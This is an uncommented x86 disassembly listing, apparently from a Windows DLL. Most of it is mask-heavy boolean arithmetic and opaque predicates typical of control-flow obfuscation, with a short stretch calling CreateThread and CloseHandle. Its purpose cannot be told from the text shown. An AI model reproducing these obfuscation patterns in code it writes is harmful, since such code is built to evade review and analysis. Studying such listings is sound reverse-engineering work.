and eax, 0xa7ce4a6d
and esi, 0x5831b592
or esi, eax
mov eax, dword [ebp - 0x18]
xor esi, eax
or ecx, eax
xor esi, 0x5831b592
not ecx
or ecx, esi
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xadc0e136
mov edi, eax
and eax, 0x523f1ec9
or eax, esi
and edi, ecx
mov esi, edi
not esi
or ecx, esi
and esi, 0xadc0e136
and edi, 0x523f1ec9
or edi, esi
xor edi, eax
not ecx
or ecx, edi
mov esi, ecx
not esi
and ecx, 0xb140001c
and esi, 0x4ebfffe3
or esi, ecx
mov ecx, edx
not ecx
mov eax, ecx
and ecx, 0xd79ea3ed
and edx, 0x28615c12
or edx, ecx
mov ecx, esi
xor ecx, 0x8215c02
xor esi, 0xb140001c
or eax, esi
and esi, 0xd79ea3ed
and ecx, 0x28615c12
or ecx, esi
xor ecx, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0xa5160208
and ecx, 0x5ae9fdf7
or ecx, edx
xor ecx, eax
xor ecx, 0x5ae9fdf7
or esi, eax
not esi
or esi, ecx
mov dword [ebp - 0x24], esi
mov edi, dword [ebp - 0x1c]
mov eax, edi
and eax, 0x4ab12fd9
mov esi, dword [ebp - 0x20]
mov edx, esi
and edx, 0xb54ed026
or edx, eax
xor edx, 0x3ab11b6b
mov ecx, esi
and ecx, 0x700034b2
or ecx, edx
mov edx, edi
or edx, 0x8c4e0308
and esi, 0x60002082
and edx, 0x9c4e1738
or edx, esi
mov eax, edx
xor eax, section..text
xor edx, 0x63b1e8c7
mov esi, edx
mov edx, ecx
or edx, esi
not edx
and esi, 0xaa90eeb5
and eax, 0x50001002
or eax, esi
xor eax, ecx
xor eax, 0x556f114a
or eax, edx
mov ebx, eax
mov ecx, eax
xor ecx, 0x700034b2
and ecx, eax
not eax
or ebx, 0x8fffcb4d
mov edx, ebx
and edx, 0x30eed9e4
and eax, 0x40002412
or eax, edx
mov edx, ecx
not edx
or ebx, edx
and edx, 0x30eed9e4
and ecx, 0xcf11261b
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov edx, dword [ebp - 0x24]
mov ecx, edx
not ecx
mov eax, ecx
mov edi, ecx
mov dword [ebp - 0x1c], ecx
and eax, 0x7f541186
mov ecx, edx
mov esi, edx
and ecx, 0x80abee79
or ecx, eax
mov eax, ecx
xor eax, 0x16008
xor ecx, 0xb001006
or ecx, 0x241404c1
and ecx, 0xaf3614c7
and eax, 0x50016108
or eax, ecx
mov edx, edi
or edx, 0x8b221006
and edx, 0xaf3614c7
mov ecx, esi
and ecx, 0xc88a30
or ecx, edx
xor ecx, eax
mov edi, ecx
xor edi, 0x24580220
xor ecx, 0x1024002
and ecx, 0x102c413
and edi, 0xec580220
or edi, ecx
mov eax, dword [ebp - 0x1c]
and eax, 0xf4de1d3d
mov ecx, esi
and ecx, 0xb21e2c2
or ecx, eax
mov eax, ecx
xor eax, 0xb21e2c2
xor ecx, 0x941c1839
and ecx, 0x9e3d7a39
mov edx, eax
and edx, 0x61c285c6
or edx, ecx
xor edx, 0x7367bc0a
and eax, 0xed5ac633
or eax, edx
mov ecx, ebx
not ecx
mov esi, ebx
xor esi, 0x54b1987a
and esi, ebx
mov edx, ecx
or edx, esi
not esi
and esi, 0xab4e6785
and edx, 0x54b1987a
or edx, esi
mov esi, edx
not esi
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x14]
and esi, 0x12a539cc
and edx, 0xed5ac633
or edx, esi
mov esi, dword [ebp - 0x14]
xor esi, edx
and esi, edx
and ecx, 0xd3ec7d7b
and ebx, 0x2c138284
or ebx, ecx
mov edx, ebx
xor edx, 0x2c138284
xor ebx, 0x10244003
and ebx, 0x3c244287
mov ecx, edx
and ecx, 0xc3dbbd78
or ecx, ebx
xor ecx, 0xd17e84b4
and edx, 0xed5ac633
or edx, ecx
mov dword [ebp - 0x18], edx
xor edi, 0xec580220
or edi, 0x12a539cc
mov ecx, eax
xor ecx, 0x86aa3d0
xor ecx, eax
xor ecx, 0xf7955c2f
and ecx, edi
or edi, eax
xor ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xbd41ec9a
and ecx, 0x42be1365
or ecx, eax
or edx, edi
and edi, 0xfd5beebb
xor edi, ecx
xor edi, 0x401a0221
not edx
or edx, edi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x14], esi
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0x62c08752
and esi, 0x9d3f78ad
or esi, eax
mov edx, dword [ebp - 0x18]
mov eax, edx
not eax
mov ecx, edx
mov edi, edx
and ecx, 0xad6ae536
xor edi, 0x262fdd15
and edi, eax
and eax, 0x52951ac9
or eax, ecx
mov ecx, eax
xor ecx, 0x52951ac9
mov edx, ecx
and edx, 0xd9d022ea
or edi, edx
mov dword [ebp - 0x18], edi
mov edx, esi
xor edx, 0x9d3f78ad
mov dword [ebp - 0x20], edx
xor esi, 0x62c08752
mov edi, esi
or edi, 0x2e9c14
and edi, 0x51ae9c5e
mov edx, dword [ebp - 0x20]
and edx, 0x885022a0
or edx, edi
or ebx, 0x5180004a
and ebx, 0x51ae9c5e
mov edi, dword [ebp - 0x14]
and edi, 0x26014101
or edi, ebx
xor edi, edx
mov edx, dword [ebp - 0x18]
mov ebx, edx
xor ebx, edx
not ebx
and ebx, edi
xor ebx, edx
mov edx, esi
and edx, 0x8194b87a
mov edi, dword [ebp - 0x20]
and edi, 0x7e6b4785
or edi, edx
xor eax, 0xad6ae536
or esi, eax
and eax, 0x8194b87a
and ecx, 0x7e6b4785
or ecx, eax
xor ecx, edi
not esi
or esi, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xb12ff1e7
and ebx, 0x4ed00e18
or ebx, ecx
mov ecx, esi
not ecx
or eax, esi
and esi, 0xb12ff1e7
and ecx, 0x4ed00e18
or ecx, esi
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x81084850
mov esi, eax
and esi, 0x54832408
or esi, edx
mov edx, esi
xor edx, 0x40832008
xor esi, 0xa05c9823
and esi, 0xb45c9c23
and edx, 0x41836058
or edx, esi
or ecx, 0x94080c00
and ecx, 0xb45c9c23
and eax, 0xa200384
or eax, ecx
mov esi, dword [ebp - 0x28]
xor esi, 0xd58b6c58
xor eax, edx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, esi
xor ecx, eax
mov edi, dword [ebp - 0x1c]
mov eax, edi
or eax, 0x1094181
mov esi, dword [ebp - 0x24]
mov edx, esi
or edx, 0x2d6202e
and edx, 0x3df61af
and edi, 0x9c200240
or edi, edx
and eax, 0x3df61af
and esi, 0x60009c10
or esi, eax
xor esi, edi
mov eax, esi
xor eax, 0x62d6bc3e
and eax, ecx
mov edx, ecx
not edx
xor esi, 0x9d2943c1
mov ecx, edx
xor ecx, esi
and ecx, edx
and esi, edx
or esi, eax
mov eax, ecx
not eax
mov edx, esi
mov edi, esi
not edx
mov esi, eax
and esi, 0x15097a4d
and ecx, 0xeaf685b2
or ecx, esi
or eax, edx
and edx, 0x15097a4d
and edi, 0xeaf685b2
or edi, edx
xor edi, ecx
not eax
or eax, edi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf96162c3
and ecx, eax
and eax, 0x69e9d3c
or eax, edx
mov edx, eax
xor edx, 0x498803c
xor eax, 0xf96162c3
mov esi, ecx
not esi
mov edi, eax
and edi, 0xfb065d81
and edx, 0x4f9a27e
or edx, edi
or eax, esi
and esi, 0xfb065d81
and ecx, 0x4f9a27e
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
sete cl
setne al
cmp dword [0x10049904], 0xa
setl byte [ebp - 0x14]
setge byte [ebp - 0x18]
mov edx, eax
inc dl
mov ch, cl
inc ch
mov dh, ch
and dh, cl
mov ah, ch
xor ah, dh
xor dh, 1
or dh, cl
xor dh, 1
or dh, ah
xor dh, dl
or ch, dl
or dl, al
xor al, cl
and al, dl
xor al, cl
or cl, dl
mov ah, cl
xor ah, 1
mov dl, al
not dl
mov ebx, ecx
and bl, ah
and dl, al
xor bl, 1
or bl, ah
xor bl, 1
or bl, cl
xor dl, 1
mov cl, al
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov cl, bl
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
xor dl, 1
mov cl, dl
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov byte [ebp - 0x1c], dl
mov cl, dl
xor cl, 1
mov byte [ebp - 0x20], cl
mov eax, ecx
and al, dl
xor cl, al
xor al, 1
or al, dl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov ah, al
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov bl, ah
and bl, al
xor bl, 1
or bl, al
xor bl, 1
or bl, ah
mov eax, ebx
xor al, 1
mov cl, al
and cl, bl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov ah, cl
xor ah, 1
xor ch, 1
or ch, dh
mov al, ch
mov dl, ch
xor al, 1
mov bh, cl
and bh, ah
xor bh, 1
mov dh, ah
xor dh, bh
or ah, bh
xor ah, 1
or ah, dh
mov dh, al
and dh, ch
xor dh, 1
mov bl, al
xor bl, dh
or dh, al
xor dh, 1
or dh, bl
mov bl, cl
xor bl, bh
or bh, cl
or bl, cl
xor bh, 1
or bl, bh
mov cl, dh
xor cl, 1
mov byte [ebp - 0x24], cl
mov ch, dh
and ch, cl
xor ch, 1
mov bh, cl
xor bh, ch
or ch, cl
xor ch, 1
or ch, bh
xor dl, dh
and dl, al
mov al, dl
mov cl, ah
or cl, dh
mov byte [ebp - 0x28], cl
xor dh, ah
xor ah, 1
mov bh, ah
xor bh, bl
or bl, ah
and bh, bl
mov cl, bh
xor cl, bl
xor bl, 1
mov dl, bh
xor dl, 1
and dl, bl
and cl, bh
or dl, bh
or dl, cl
mov cl, ch
xor cl, 1
mov ebx, ecx
and bl, ch
xor bl, 1
or bl, ch
mov bh, al
and ch, al
xor bh, 1
xor bl, 1
or bl, cl
xor bl, bh
and bh, cl
or bh, ch
xor bh, 1
or bh, cl
mov ecx, ebx
xor cl, 1
and bl, cl
xor bl, 1
mov ch, bl
xor ch, cl
or bl, cl
xor bl, 1
or bl, ch
mov ch, bl
and ch, bh
or cl, bh
xor bh, 1
xor bl, 1
and bl, bh
xor cl, 1
or cl, ch
or cl, bl
mov ch, dl
xor ch, 1
mov bl, ch
and bl, dl
xor ch, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, ch
mov bh, cl
xor bh, 1
mov al, cl
or al, bl
xor bl, bh
xor bl, 1
xor al, 1
or al, bl
mov ch, bh
and ch, cl
xor bh, ch
xor ch, 1
or ch, cl
xor ch, 1
or ch, bh
mov cl, dl
xor cl, ch
or ch, dl
xor ch, 1
or ch, cl
mov cl, al
xor cl, 1
mov dl, ch
xor dl, 1
and dl, al
or al, ch
and ch, cl
or ch, dl
xor al, 1
or ch, al
mov al, ah
mov dl, byte [ebp - 0x24]
xor al, dl
or dl, ah
and dl, al
movzx eax, byte [ebp - 0x28]
xor al, 1
or dh, al
xor dl, 1
mov cl, dh
xor cl, dl
or dl, dh
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov dl, ch
xor dl, 1
mov al, ch
and al, dl
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor cl, 1
xor al, 1
or al, ah
xor al, cl
mov edx, eax
xor dl, 1
or cl, ch
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
and ah, dl
or dl, cl
xor dl, 1
and cl, al
or cl, ah
or cl, dl
mov ch, byte [ebp - 0x14]
mov dl, ch
mov dh, byte [ebp - 0x18]
xor dl, dh
and dl, cl
xor dl, dh
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ah, dh
xor ah, cl
and ah, cl
mov cl, dl
and cl, ah
xor ah, 1
and al, ah
or al, cl
or ah, dl
xor al, 1
mov cl, al
xor cl, ah
or al, ah
xor al, 1
or al, cl
mov ah, byte [ebp - 0x20]
mov cl, ah
xor cl, dh
and cl, ah
mov dl, ch
or dl, ah
mov bl, ah
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov dl, cl
xor dl, 1
mov ah, ch
and ah, dl
and cl, dh
or cl, ah
xor cl, 1
or cl, dl
xor cl, 1
mov dl, byte [ebp - 0x1c]
and dl, ch
and dh, bl
or dh, dl
xor ch, dh
and ch, dh
mov dl, dh
xor dl, 1
or dl, bl
xor dl, 1
mov ah, dl
xor ah, ch
or ch, dl
xor ch, 1
or ch, ah
xor ch, 1
or ch, ah
mov edx, ecx
or dl, ch
mov ah, dl
xor ah, 1
xor ch, cl
or ah, ch
and ch, dl
xor ch, 1
mov cl, ah
or cl, ch
xor cl, 1
xor ch, ah
or ch, cl
mov cl, ch
xor cl, 1
and cl, ch
xor cl, 1
mov edx, ecx
xor dl, ch
or cl, ch
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
and ah, cl
xor ah, 1
mov edx, ecx
xor dl, ah
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
xor dl, 1
and dl, ah
xor dl, 1
mov ecx, edx
xor cl, ah
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov ecx, edx
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dh, al
xor dh, 1
mov dl, dh
and dl, al
xor dl, 1
mov ch, dl
xor ch, al
or dl, al
xor dl, 1
or ch, dl
or dl, dh
mov dh, dl
xor dh, 1
mov al, dl
and al, dh
xor al, 1
or al, dh
xor al, 1
or al, dl
mov dh, al
xor dh, 1
mov dl, cl
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, 1
or dh, dl
mov bh, dh
xor bh, 1
xor al, dl
and al, dl
mov bl, dh
and bl, bh
xor bl, 1
or bl, bh
mov dl, ch
xor dl, 1
xor al, 1
xor bl, 1
or bl, dh
xor bl, al
or al, dh
xor al, 1
or al, bl
mov dh, dl
or dh, cl
mov bl, ah
xor bl, ch
and bl, ah
mov ah, dh
xor ah, 1
xor dl, cl
and dl, ch
xor bl, 1
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ch, dl
and ch, cl
xor ch, 1
or ch, cl
xor ch, 1
or ch, dl
or dl, ah
and ah, dh
xor ah, 1
mov bl, ah
xor bl, dh
or ah, dh
xor ah, 1
or ah, bl
xor ch, ah
xor cl, dh
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, dl
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov ch, ah
xor ch, 1
mov cl, al
xor cl, 1
mov dl, ah
and dl, ch
xor dl, 1
mov dh, dl
xor dh, ch
or dl, ch
mov bl, ch
or bl, cl
xor bl, 1
mov ch, al
or ch, ah
xor ch, 1
or ch, bl
xor dl, 1
or dl, dh
and al, dl
xor dl, 1
and dl, cl
mov dh, cl
xor dh, ah
or cl, ah
xor cl, 1
or cl, dh
xor cl, 1
or cl, al
or cl, dl
xor cl, 1
mov dl, ch
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov ch, cl
xor ch, dl
test cl, 1
mov eax, 0x9250d5ac
mov esi, 0x926f42e4
cmovne eax, esi
test dl, 1
cmove eax, esi
test ch, 1
mov ecx, 0x9250d5ac
cmove eax, ecx
jmp 0x1000f5c0
cmp eax, 0xba4b2976
jne 0x10027f6b
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
push 0xffffffffffffffaa
push dword [eax]
push dword [ecx]
call section..text
add esp, 0xc
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x40]
push 0
push 0
push dword [eax]
push 0x1000cf80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [0x10049900]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0xf1d30e90
mov edi, esi
mov ecx, esi
and ecx, 0xe2cf16f
or ecx, edx
mov edx, ecx
xor edx, 0x80048
xor ecx, 0x400
or ecx, 0x2a012a0
and ecx, 0xea456a1
and edx, 0xd14a0058
or edx, ecx
mov ecx, eax
and ecx, 0x6290249
and edi, 0x10401810
or edi, ecx
mov ecx, esi
xor ecx, 0x16691a59
and ecx, esi
xor edi, 0x10401810
or ecx, edi
mov edi, esi
and edi, 0x60c8c644
mov ebx, eax
and eax, 0x9f3739bb
or eax, edi
xor eax, ecx
mov dword [ebp - 0x14], eax
or ecx, esi
mov dword [ebp - 0x18], ecx
or ebx, 0xc044401
and ebx, 0xea456a1
and esi, 0x2011a906
or esi, ebx
xor esi, edx
mov edi, esi
xor edi, 0x22b1bba6
xor esi, 0xdd4e4459
mov ebx, esi
and ebx, edi
mov edx, ebx
not edx
mov eax, edx
and eax, 0x56e65e02
and ebx, 0xa919a1fd
or ebx, eax
or edx, esi
and esi, 0x56e65e02
and edi, 0xa919a1fd
or edi, esi
xor edi, ebx
not edx
or edx, edi
mov eax, edx
not eax
mov esi, eax
and esi, 0x2576db2e
and eax, edx
and edx, 0xda8924d1
or edx, esi
mov esi, edx
xor esi, 0x928120d1
xor edx, 0x2576db2e
mov edi, edx
and edi, 0x6d5a9f08
and esi, 0x92a560f7
or esi, edi
mov edi, eax
not edi
or edx, edi
and edi, 0x6d5a9f08
and eax, 0x92a560f7
or eax, edi
xor eax, esi
not edx
or edx, eax
mov eax, edx
not eax
mov esi, eax
and eax, 0xae083833
mov edi, edx
and edi, 0x51f7c7cc
or edi, eax
or esi, 0x16691a59
mov eax, esi
and eax, 0xea26a774
and edx, 0x1904082
or edx, eax
mov eax, edi
xor eax, 0x5985881
xor edi, 0xb861226a
or esi, edi
and edi, 0xea26a774
and eax, 0x15d9588b
or eax, edi
xor eax, edx
not esi
or esi, eax
mov ecx, esi
not ecx
and esi, 0x7b82e7be
and ecx, 0x847d1841
or ecx, esi
mov esi, ecx
xor esi, 0x847d1841
mov ebx, ecx
xor ebx, 0x7b82e7be
mov edx, dword [ebp - 0x14]
xor edx, 0x9f3739bb
mov eax, dword [ebp - 0x18]
not eax
or eax, edx
mov edx, eax
xor ecx, 0x5d8a52fa
and ecx, ebx
mov eax, esi
and eax, 0x2efd8398
mov edi, ebx
and ebx, 0xd1027c67
or ebx, eax
not ebx
or ebx, esi
and esi, 0x24081140
and edi, 0x200a404
or edi, esi
mov eax, edx
mov dword [ebp - 0x18], edx
not edx
xor edi, 0x200a404
or ecx, edi
and eax, 0x59e2b4cf
mov esi, edx
and esi, 0xa61d4b30
or esi, eax
xor esi, 0xa61d4b30
mov edi, dword [ebp - 0x18]
and edi, edx
or edi, esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x20], ecx
mov esi, ecx
xor esi, 0x8f50298
xor ecx, 0x2608b544
mov dword [ebp - 0x1c], ecx
and ecx, 0xd1027c67
and esi, 0x2efd8398
or esi, ecx
mov ecx, esi
xor ecx, dword [ebp - 0x1c]
and ecx, esi
mov eax, edi
not eax
mov dword [ebp - 0x24], eax
and eax, 0xce40108
mov edi, dword [ebp - 0x14]
and edi, 0x22198290
or edi, eax
mov eax, edi
xor eax, 0x22018080
or eax, 0x51027c61
xor edi, 0x4200000
and edi, 0x4380210
and eax, 0x7bc7fde9
or eax, edi
mov esi, dword [ebp - 0x18]
mov edi, esi
and edi, 0x2efd8398
and edx, 0xd1027c67
or edx, edi
xor esi, edx
and esi, edx
mov edx, ecx
not edx
mov edi, edx
and edx, 0x8600f9f0
and ecx, 0x79ff060f
or ecx, edx
or edi, ebx
xor ecx, ebx
not edi
xor ecx, 0x79ff060f
or ecx, edi
mov edx, eax
xor eax, 0x84380216
mov ebx, esi
and esi, eax
xor edx, 0x7bc7fde9
not ebx
mov eax, edx
xor eax, ebx
and eax, edx
and ebx, edx
or ebx, esi
or ebx, eax
not ecx
mov eax, ebx
not eax
mov edx, eax
xor edx, ecx
and edx, ebx
and eax, 0xec86255d
and ebx, 0x1379daa2
or ebx, eax
xor ebx, 0xec86255d
or ebx, ecx
mov edi, edx
not edi
mov eax, edi
and eax, 0xbebd799a
and edx, 0x41428665
or edx, eax
xor edx, ebx
or edi, ebx
xor edx, 0x41428665
not edi
or edi, edx
mov eax, dword [ebp - 0x24]
and eax, 0xbbbc4fb2
mov edx, dword [ebp - 0x14]
mov ecx, edx
and ecx, 0x4443b04d
or ecx, eax
mov eax, ecx
xor eax, 0x4443b04d
xor ecx, 0xe1696d73
and ecx, eax
and edx, 0xa52add3e
or edx, ecx
mov dword [ebp - 0x14], edx
mov ebx, dword [ebp - 0x20]
mov edx, ebx
xor edx, 0x8322687a
and edx, dword [ebp - 0x1c]
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x21cdaedf
and edx, 0xde325120
or edx, ecx
mov ecx, dword [ebp - 0x1c]
or eax, ecx
or ecx, 0x5ad522c1
xor ebx, 0x80224020
or esi, ecx
and ecx, 0x21cdaedf
and ebx, 0x84225120
or ebx, ecx
xor ebx, edx
not esi
or esi, ebx
xor esi, dword [ebp - 0x14]
mov edx, esi
not edx
mov ecx, edx
and ecx, 0xdfb9ae81
and esi, 0x2046517e
or esi, ecx
xor esi, eax
xor esi, 0x2046517e
or edx, eax
not edx
or edx, esi
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x689fb89f
and ecx, 0x97604760
or ecx, eax
xor ecx, 0x97604760
or ecx, edx
mov eax, ecx
not eax
mov edx, edi
xor edx, 0xbbfb4104
and edx, edi
mov esi, edi
not esi
and ecx, 0x16e16efc
mov edi, eax
and edi, 0xe91e9103
or edi, ecx
xor edi, 0xe91e9103
mov ecx, esi
and ecx, 0xbbfb4104
or edx, ecx
or esi, edi
and edi, 0xbbfb4104
and eax, 0x4404befb
or eax, edi
mov ecx, eax
xor ecx, eax
not ecx
and ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov ebx, esi
not ebx
mov ecx, esi
xor ecx, 0x7c49ec57
and ecx, esi
mov edx, ebx
or edx, ecx
not ecx
and ecx, 0x83b613a8
and edx, 0x7c49ec57
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x19f2d6a6
mov edi, ecx
and edi, 0xe60d2959
or edi, edx
xor edi, 0xa3e291ee
and ecx, 0xba104748
or ecx, edi
mov edx, ecx
not edx
mov edi, ebx
and edi, 0x335eb16c
and esi, 0xcca14e93
or esi, edi
xor esi, 0x76b109db
xor ebx, esi
and ebx, esi
mov esi, ecx
and esi, 0x275781f1
mov eax, edx
and eax, 0xd8a87e0e
or eax, esi
mov dword [ebp - 0x14], eax
mov edi, ebx
not edi
mov esi, ebx
xor esi, 0x275781f1
and esi, edi
mov eax, ebx
and eax, 0xd8a87e0e
or eax, esi
mov esi, eax
xor esi, eax
not esi
and esi, dword [ebp - 0x14]
xor esi, eax
mov eax, edx
and eax, 0xb75aba86
and ecx, 0x48a54579
or ecx, eax
or edx, ebx
and ebx, 0xb75aba86
and edi, 0x48a54579
or edi, ebx
xor edi, ecx
not edx
or edx, edi
mov eax, edx
not eax
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x65f8a4ce
and esi, 0x9a075b31
or esi, edi
or ecx, edx
and edx, 0x65f8a4ce
and eax, 0x9a075b31
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xf9694e52
mov esi, ecx
and esi, 0x696b1ad
or esi, edx
mov edx, esi
xor edx, 0x4002000
xor esi, 0xa1000050
or eax, 0xa100805c
or esi, 0x2d51801
and esi, 0xa3d5985d
and edx, 0x5c082602
or edx, esi
and eax, 0xa3d5985d
and ecx, 0x2241a0
or ecx, eax
xor ecx, edx
mov edx, ecx
xor edx, 0x5171fb4f
xor ecx, 0xae8e04b0
mov eax, ecx
and eax, 0x9488220
mov edi, edx
and edi, 0x7001210c
or edi, eax
xor edi, 0x7001210c
mov esi, edx
and esi, 0x86b65cd3
or esi, edi
mov eax, esi
xor eax, 0x86b65cd3
mov edi, esi
xor edi, 0x7949a32d
and edi, eax
xor esi, 0x4101a22c
and esi, 0xc181ba7f
and eax, 0x3e7e4580
or eax, esi
xor eax, 0xc181ba7e
or eax, edi
mov esi, eax
not esi
mov edi, eax
or edi, 0x32401540
and edi, 0x324d1560
mov ebx, esi
and esi, 0x8d908201
or esi, edi
or ebx, 0xd0020
and ebx, 0x324d1560
and eax, 0x4022689e
or eax, ebx
xor eax, esi
mov edi, ecx
and edi, 0x88014808
mov esi, edx
and esi, 0x15b6a616
or esi, edi
mov edi, esi
xor edi, 0x15860600
xor esi, 0x62011960
and edi, 0x9d864608
and esi, 0x6231b976
or esi, edi
and ecx, 1
mov edi, edx
and edi, 0x2000080
or edi, ecx
xor edi, 0x2000080
and edx, 0x60481160
lea ebx, [edi + edx]
add edx, edi
add edx, 0x8814a08
mov ecx, esi
xor ecx, 0x6231b976
xor edx, 0xf57eb576
mov edi, ecx
xor edi, edx
and edi, ecx
xor esi, 0x5024288
and esi, 0x25227bf8
and ecx, 0x98958406
or ecx, esi
xor ebx, 0x2000001
and edx, 0x25227bf8
and ebx, 0x42480001
or ebx, edx
xor ebx, ecx
or ebx, edi
mov edx, ebx
mov ecx, ebx
xor ecx, 0x3c87e1da
and ecx, ebx
or ebx, 0xc3781e25
not edx
mov esi, ebx
and esi, 0x56ca2d1e
and edx, 0x2805c0c0
or edx, esi
mov esi, ecx
not esi
or ebx, esi
and esi, 0x56ca2d1e
and ecx, 0xa935d2e1
or ecx, esi
mov esi, eax
xor esi, 0x72627dde
mov dword [ebp - 0x28], esi
xor eax, 0x8d9d8221
mov dword [ebp - 0x1c], eax
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, esi
and ecx, 0xc4d9b23a
mov esi, eax
and esi, 0x3b264dc5
or esi, ecx
mov edi, ebx
xor edi, 0x5ecff03a
xor ebx, 0xa1300fc5
mov ecx, edi
and ecx, 0x4f79b36a
mov edx, ebx
and edx, 0xb0864c95
or edx, ecx
mov ecx, ebx
and ecx, edi
mov dword [ebp - 0x2c], edi
mov eax, ecx
not eax
or edi, eax
and eax, 0x4f79b36a
and ecx, 0xb0864c95
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov dword [ebp - 0x20], esi
mov ecx, esi
xor ecx, 0xc4d9b23a
mov dword [ebp - 0x18], ecx
xor esi, 0x3b264dc5
mov dword [ebp - 0x14], esi
and esi, 0x8269fd3c
and ecx, 0x7d9602c3
or ecx, esi
mov esi, dword [ebp - 0x28]
and esi, 0x560ecf0d
mov edx, dword [ebp - 0x1c]
mov eax, edx
and eax, 0xa9f130f2
or eax, esi
xor eax, 0xefd8a1fa
and edx, 0xb9d66ef7
or edx, eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x24], edi
mov esi, edi
not esi
and edi, 0x4deb1bcc
mov edx, esi
mov dword [ebp - 0x28], esi
and edx, 0xb214e433
or edx, edi
xor edx, 0xbc28ac4
and esi, 0x46299108
or esi, edx
mov edx, dword [ebp - 0x2c]
and edx, 0xca95ae2c
mov eax, ebx
and eax, 0x356a51d3
or eax, edx
xor eax, 0x7343c0db
and ebx, 0xb9d66ef7
or ebx, eax
xor ecx, 0x3bbf93cb
or ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov edi, eax
not edi
mov edx, ecx
or edx, eax
and eax, 0x33462c71
and edi, 0xccb9d38e
or edi, eax
xor edi, ecx
mov eax, edi
xor eax, 0xccb9d38e
xor edi, 0x33462c71
mov ecx, edi
and ecx, 0x3f53923c
and eax, 0xc0ac6dc3
or eax, ecx
xor eax, edx
or edi, edx
xor eax, 0xc0ac6dc3
not edi
or edi, eax
mov ecx, esi
not ecx
mov eax, ecx
xor eax, ebx
and eax, ecx
and esi, 0x269cdfbd
and ecx, 0xd9632042
or ecx, esi
xor ecx, ebx
xor ecx, 0xd9632042
or ecx, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0x446c6366
xor eax, ecx
not eax
and eax, edi
and edi, 0xbb939c99
or edi, edx
xor edi, ecx
xor edi, 0x446c6366
and edi, ecx
or eax, edi
mov dword [ebp - 0x1c], eax
mov esi, dword [ebp - 0x24]
mov edi, esi
xor edi, 0x5b170780
and edi, esi
mov eax, dword [ebp - 0x28]
and eax, 0x22c3a452
and esi, 0xdd3c5bad
or esi, eax
mov edx, esi
xor edx, 0xdd3c5bad
mov dword [ebp - 0x24], edx
and edx, 0x5b170780
or edi, edx
mov ebx, dword [ebp - 0x18]
or ebx, 0xa4e8f87f
mov edx, ebx
and edx, 0xae6b20e5
mov ecx, dword [ebp - 0x14]
and ecx, 0x51140700
or ecx, edx
mov edx, dword [ebp - 0x20]
xor edx, 0x9fceb5ba
and edx, dword [ebp - 0x18]
mov eax, edx
not eax
or ebx, eax
and eax, 0xae6b20e5
and edx, 0x5194df1a
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
mov edx, edi
xor edx, edi
not edx
and edx, ebx
xor edx, edi
mov edi, dword [ebp - 0x18]
mov eax, edi
and eax, 0xdbfce448
mov ebx, dword [ebp - 0x14]
and ebx, 0x24031bb7
or ebx, eax
xor esi, 0x22c3a452
or edi, esi
and esi, 0xdbfce448
mov eax, dword [ebp - 0x24]
and eax, 0x24031bb7
or eax, esi
xor eax, ebx
